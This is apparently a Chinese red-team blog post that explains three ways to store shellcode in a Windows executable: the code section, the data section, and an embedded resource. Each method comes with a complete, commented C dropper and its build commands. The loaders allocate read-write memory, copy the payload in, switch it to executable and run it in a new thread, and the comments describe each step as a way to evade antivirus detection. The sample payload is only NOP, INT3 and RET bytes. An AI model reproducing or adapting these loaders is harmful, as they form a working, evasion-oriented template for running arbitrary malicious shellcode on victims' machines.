代码段(Text)存储
-
理解:
代码段是PE文件默认的"可执行区域",编译器会把函数、执行逻辑都放在这里,直接将载荷作为代码段的一部分编译,程序运行时无需额外读取,直接执行。
-
Dropper
#include <windows.h> // 引入Windows核心API(内存操作、线程创建等必须) #include <stdio.h> // 引入标准输入输出(打印内存地址、暂停程序) #include <stdlib.h> // 标准库(本示例未用到,可保留) #include <string.h> // 字符串操作库(本示例未用到,可保留) int main(void) { // 1. 定义核心变量(红队实战中需注意变量命名,避免敏感特征) void* exec_mem; // 用于存放载荷的可执行内存地址(核心变量) BOOL rv; // 接收VirtualProtect的返回值(判断内存属性修改是否成功) HANDLE th; // 线程句柄(用于创建执行载荷的线程) DWORD oldprotect = 0; // 保存内存原始保护属性(VirtualProtect要求的参数) // 2. 定义载荷(直接存储在代码段,红队测试用极简Shellcode) // 载荷说明:4字节测试载荷,无实际恶意功能,仅用于验证执行逻辑 // 0x90=NOP(空指令,用于对齐/绕过简单检测) // 0xcc=INT3(断点指令,调试时会触发中断,测试用) // 0xc3=RET(返回指令,执行完后返回) unsigned char payload[] = { 0x90, // NOP - 空操作,无实际功能,仅填充/测试 0x90, // NOP - 同上 0xcc, // INT3 - 断点指令,执行到此处会触发调试中断(测试载荷执行的关键标记) 0xc3 // RET - 返回指令,结束执行 }; unsigned int payload_len = 4; // 载荷长度(固定4字节,需和payload数组长度一致) // 3. 分配可读写内存(红队免杀关键:先分配PAGE_READWRITE,避免直接分配可执行内存) // VirtualAlloc参数说明: // 第1个参数0:让系统自动选择内存地址 // 第2个参数:分配的内存大小(与载荷长度一致) // 第3个参数:MEM_COMMIT(提交内存)+ MEM_RESERVE(保留内存) // 第4个参数:PAGE_READWRITE(初始为可读写,免杀关键:避开"可执行"初始属性) exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // 打印载荷原始地址和分配的内存地址(调试/验证用,红队上线需删除,避免特征) // payload地址:代码段中的原始地址(.text段) // exec_mem地址:新分配的可读写内存地址 printf("%-20s : 0x%-016p\n", "payload addr", (void*)payload); printf("%-20s : 0x%-016p\n", "exec_mem addr", (void*)exec_mem); // 4. 将代码段中的载荷复制到新分配的内存中 // RtlMoveMemory:Windows底层内存拷贝函数(比memcpy更稳定,红队常用) // 作用:把代码段里的payload复制到exec_mem指向的可读写内存 RtlMoveMemory(exec_mem, payload, payload_len); // 5. 修改内存属性为"可执行+可读" // VirtualProtect参数说明: // 第1个参数:要修改属性的内存起始地址 // 第2个参数:修改的内存大小 // 第3个参数:PAGE_EXECUTE_READ(可执行+可读,避免PAGE_EXECUTE_READWRITE高危属性) // 第4个参数:保存原始属性的变量地址 // 红队意义:先分配可读写,再改为可执行,避开杀软对"可写可执行"内存的监控 rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect); // 暂停程序 // 作用:让用户按回车后再执行载荷,方便查看内存地址、调试 printf("\nHit me!\n"); getchar(); // 6. 验证内存属性修改成功后,创建线程执行载荷 // 红队意义:用CreateThread执行载荷,而非直接调用,降低行为检测概率 if (rv != 0) { // rv!=0表示VirtualProtect成功 // CreateThread参数说明: // 第1个参数0:默认安全属性 // 第2个参数0:默认栈大小 // 第3个参数:线程执行函数(此处指向载荷内存地址) // 第4个参数:传递给线程的参数(0=无) // 第5个参数0:创建后立即运行 // 第6个参数0:不获取线程ID th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0); // 等待线程执行完成(-1=INFINITE,无限等待) WaitForSingleObject(th, -1); } return 0; }
编译命令
gcc tdropper.cpp -o tdropper.exe -s参数解析:
-o是指定输出文件的参数,dropper.exe是编译后生成的可执行文件名称-s剥离符号表(strip),作用是移除可执行文件中的符号信息(如函数名、变量名、调试信息等)。
数据段 (Data) 存储
-
理解:
数据段(.data 段)是 PE 文件用于存储全局 / 静态变量的区域,默认属性为 “可读可写不可执行”。将载荷存储在数据段,相比代码段更隐蔽(代码段易被特征扫描),红队实战中常通过这种方式规避 “代码段硬编码 Shellcode” 的检测特征。
-
Dropper
#include <windows.h> // 引入Windows核心API(内存操作、线程创建等必须) #include <stdio.h> // 引入标准输入输出(打印内存地址、暂停程序) #include <stdlib.h> #include <string.h> // 2. 定义载荷(存储在数据段核心特征:全局变量) // 载荷说明:4字节测试载荷,无实际恶意功能,仅用于验证执行逻辑 // 0x90=NOP(空指令,用于对齐/绕过简单检测) // 0xcc=INT3(断点指令,调试时会触发中断,测试用) // 0xc3=RET(返回指令,执行完后返回) // 全局变量特征:编译后自动归入.data段,而非.text段,规避代码段特征检测 unsigned char payload[] = { 0x90, // NOP - 空操作,无实际功能,仅填充/测试 0x90, // NOP - 同上 0xcc, // INT3 - 断点指令,执行到此处会触发调试中断(测试载荷执行的关键标记) 0xc3 // RET - 返回指令,结束执行 }; unsigned int payload_len = 4; // 载荷长度(固定4字节,需和payload数组长度一致) int main(void) { // 1. 定义核心变量(红队实战中需注意变量命名,避免敏感特征) void* exec_mem; // 用于存放载荷的可执行内存地址(核心变量) BOOL rv; // 接收VirtualProtect的返回值(判断内存属性修改是否成功) HANDLE th; // 线程句柄(用于创建执行载荷的线程) DWORD oldprotect = 0; // 保存内存原始保护属性(VirtualProtect要求的参数) // 3. 分配可读写内存(红队免杀关键:先分配PAGE_READWRITE,避免直接分配可执行内存) // VirtualAlloc参数说明: // 第1个参数0:让系统自动选择内存地址 // 第2个参数:分配的内存大小(与载荷长度一致) // 第3个参数:MEM_COMMIT(提交内存)+ MEM_RESERVE(保留内存) // 第4个参数:PAGE_READWRITE(初始为可读写,免杀关键:避开"可执行"初始属性) exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // 打印载荷原始地址和分配的内存地址(调试/验证用,红队上线需删除,避免特征) // payload地址:数据段中的原始地址(.data段) // exec_mem地址:新分配的可读写内存地址 printf("%-20s : 0x%-016p\n", "payload addr", (void*)payload); printf("%-20s : 0x%-016p\n", "exec_mem addr", (void*)exec_mem); // 4. 将数据段中的载荷复制到新分配的内存中 // RtlMoveMemory:Windows底层内存拷贝函数(比memcpy更稳定,红队常用) // 作用:把数据段里的payload复制到exec_mem指向的可读写内存 // 核心必要性:数据段默认不可执行,必须拷贝到可执行内存才能运行 RtlMoveMemory(exec_mem, payload, payload_len); // 5. 修改内存属性为"可执行+可读" // VirtualProtect参数说明: // 第1个参数:要修改属性的内存起始地址 // 第2个参数:修改的内存大小 // 第3个参数:PAGE_EXECUTE_READ(可执行+可读,避免PAGE_EXECUTE_READWRITE高危属性) // 第4个参数:保存原始属性的变量地址 // 红队意义:先分配可读写,再改为可执行,避开杀软对"可写可执行"内存的监控 rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect); // 暂停程序 // 作用:让用户按回车后再执行载荷,方便查看内存地址、调试 printf("\nHit me!\n"); getchar(); // 6. 验证内存属性修改成功后,创建线程执行载荷 // 红队意义:用CreateThread执行载荷,而非直接调用,降低行为检测概率 if (rv != 0) { // rv!=0表示VirtualProtect成功 // CreateThread参数说明: // 第1个参数0:默认安全属性 // 第2个参数0:默认栈大小 // 第3个参数:线程执行函数(此处指向载荷内存地址) // 第4个参数:传递给线程的参数(0=无) // 第5个参数0:创建后立即运行 // 第6个参数0:不获取线程ID th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0); // 等待线程执行完成(-1=INFINITE,无限等待) WaitForSingleObject(th, -1); } return 0; }
编译命令
gcc ddropper.c -o ddropper.exe -s
资源段 (Resource) 存储
-
理解:
-
前置准备:
-
步骤 1:创建资源定义文件(
resource.rc),将 Shellcode 作为二进制资源嵌入:
// resource.rc 内容 #include "resources.h" // 定义资源ID:FAVICON_ICO,类型:RT_RCDATA(二进制数据),关联载荷文件(payload.bin) FAVICON_ICO RCDATA "payload.bin"
-
步骤 2:创建资源头文件(
resources.h),定义资源 ID 常量:
// resources.h 内容 #define FAVICON_ICO 101 // 自定义资源ID(101为示例,避免与系统默认ID冲突)
-
步骤 3:将 Shellcode 保存为二进制文件(
payload.bin),例如将测试载荷(0x90,0x90,0xcc,0xc3)写入该文件。 -
步骤 4:编译资源文件为目标文件(需用 MinGW 的 windres 工具):
windres resource.rc -o resource.o
-
-
Dropper
#include <windows.h> // 引入Windows核心API(内存操作、线程创建、资源读取等必须) #include <stdio.h> // 引入标准输入输出(打印内存地址、暂停程序) #include <stdlib.h> // 标准库(本示例未用到,可保留) #include <string.h> // 字符串操作库(本示例未用到,可保留) #include "resources.h" // 引入资源头文件,包含资源ID定义(FAVICON_ICO) int main(void) { // 1. 定义核心变量 void* exec_mem; // 用于存放载荷的可执行内存地址(核心变量) BOOL rv; // 接收VirtualProtect的返回值(判断内存属性修改是否成功) HANDLE th; // 线程句柄(用于创建执行载荷的线程) DWORD oldprotect = 0; // 保存内存原始保护属性(VirtualProtect要求的参数) HGLOBAL resHandle = NULL; // 资源句柄,用于加载资源到内存 HRSRC res; // 资源定位符,用于查找资源段中的载荷 unsigned char* payload; // 指向资源段中载荷的指针 unsigned int payload_len; // 载荷长度(从资源段中动态获取,避免硬编码) // 2. 从资源段提取载荷(核心步骤:红队免杀关键) // FindResource参数说明: // 第1个参数NULL:当前模块(自身程序) // 第2个参数MAKEINTRESOURCE(FAVICON_ICO):资源ID(对应resource.rc中的FAVICON_ICO) // 第3个参数RT_RCDATA:资源类型(二进制数据,避免图标/字符串等易被识别的类型) res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA); if (res == NULL) { // 增加错误处理:资源查找失败 printf("[-] 查找资源失败,错误码:%d\n", GetLastError()); getchar(); return -1; } // LoadResource:将资源加载到内存(仅分配句柄,未解锁) resHandle = LoadResource(NULL, res); if (resHandle == NULL) { // 增加错误处理:资源加载失败 printf("[-] 加载资源失败,错误码:%d\n", GetLastError()); getchar(); return -1; } // LockResource:解锁资源,获取载荷在内存中的起始地址(资源段地址) payload = (unsigned char*)LockResource(resHandle); // SizeofResource:获取资源段中载荷的长度(动态适配,无需硬编码) payload_len = SizeofResource(NULL, res); // 3. 分配可读写内存(红队免杀关键:先分配PAGE_READWRITE,避免直接分配可执行内存) // VirtualAlloc参数说明: // 第1个参数0:让系统自动选择内存地址 // 第2个参数payload_len:从资源段动态获取的载荷长度 // 第3个参数MEM_COMMIT | MEM_RESERVE:常规内存分配方式 // 第4个参数PAGE_READWRITE:初始为可读写,避开"可执行"初始属性 exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (exec_mem == NULL) { // 增加错误处理:内存分配失败 printf("[-] 内存分配失败,错误码:%d\n", GetLastError()); getchar(); return -1; } // 打印载荷原始地址和分配的内存地址(调试/验证用,红队上线需删除,避免特征) // payload地址:资源段中的原始地址(.rsrc段) // exec_mem地址:新分配的可读写内存地址 printf("%-20s : 0x%-016p\n", "payload addr", (void*)payload); printf("%-20s : 0x%-016p\n", "exec_mem addr", (void*)exec_mem); // 4. 将资源段中的载荷复制到新分配的内存中 // RtlMoveMemory:Windows底层内存拷贝函数(比memcpy更稳定,红队常用) // 核心必要性:资源段默认不可执行,必须拷贝到可执行内存才能运行 RtlMoveMemory(exec_mem, payload, payload_len); // 5. 修改内存属性为"可执行+可读" // VirtualProtect参数说明: // 第1个参数exec_mem:要修改属性的内存起始地址 // 第2个参数payload_len:修改的内存大小(动态适配载荷长度) // 第3个参数PAGE_EXECUTE_READ:可执行+可读,避免高危的PAGE_EXECUTE_READWRITE // 第4个参数&oldprotect:保存原始属性的变量地址 rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect); if (rv == FALSE) { // 增加错误处理:内存属性修改失败 printf("[-] 内存属性修改失败,错误码:%d\n", GetLastError()); VirtualFree(exec_mem, 0, MEM_RELEASE); // 释放已分配内存 getchar(); return -1; } // 暂停程序 // 作用:让用户按回车后再执行载荷,方便查看内存地址、调试 printf("\nHit me!\n"); getchar(); // 6. 验证内存属性修改成功后,创建线程执行载荷 // 红队意义:用CreateThread执行载荷,而非直接调用,降低行为检测概率 if (rv != 0) { // rv!=0表示VirtualProtect成功 // CreateThread参数说明: // 第1个参数0:默认安全属性 // 第2个参数0:默认栈大小 // 第3个参数(LPTHREAD_START_ROUTINE)exec_mem:指向载荷内存地址的线程函数指针 // 第4个参数0:无参数传递给线程 // 第5个参数0:创建后立即运行 // 第6个参数0:不获取线程ID th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0); if (th == NULL) { // 增加错误处理:线程创建失败 printf("[-] 线程创建失败,错误码:%d\n", GetLastError()); VirtualFree(exec_mem, 0, MEM_RELEASE); getchar(); return -1; } // 等待线程执行完成(-1=INFINITE,无限等待) WaitForSingleObject(th, -1); // 关闭线程句柄,清理资源(红队实战中避免句柄泄漏) CloseHandle(th); } // 释放已分配内存,清理痕迹(红队实战中减少内存泄漏) VirtualFree(exec_mem, 0, MEM_RELEASE); return 0; }
编译命令(分两步,先编译资源,再编译主程序)
# 步骤1:编译资源文件为目标文件(resource.o) windres resource.rc -o resource.o # 步骤2:编译主程序,链接资源文件 gcc rdropper.c resource.o -o rdropper.exe -s
参数解析:
-
windres resource.rc -o resource.o:将资源定义文件(resource.rc)编译为目标文件(resource.o),嵌入载荷到资源段; -
resource.o:链接资源目标文件,使主程序包含资源段和嵌入的载荷。
总结
Shellcode存储于代码段,即将其放到主函数main里面
Shellcode存储于数据段,即将其放在main函数外面作为全局变量定义
Shellcode存储于资源段,即将其脱离代码以二进制资源嵌入程序
根据隐蔽性,自然是最后一个免杀效果最好。
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://www.oneblanks.xyz/payload%e5%ad%98%e5%82%a8%e6%8a%80%e6%9c%af/
共有 0 条评论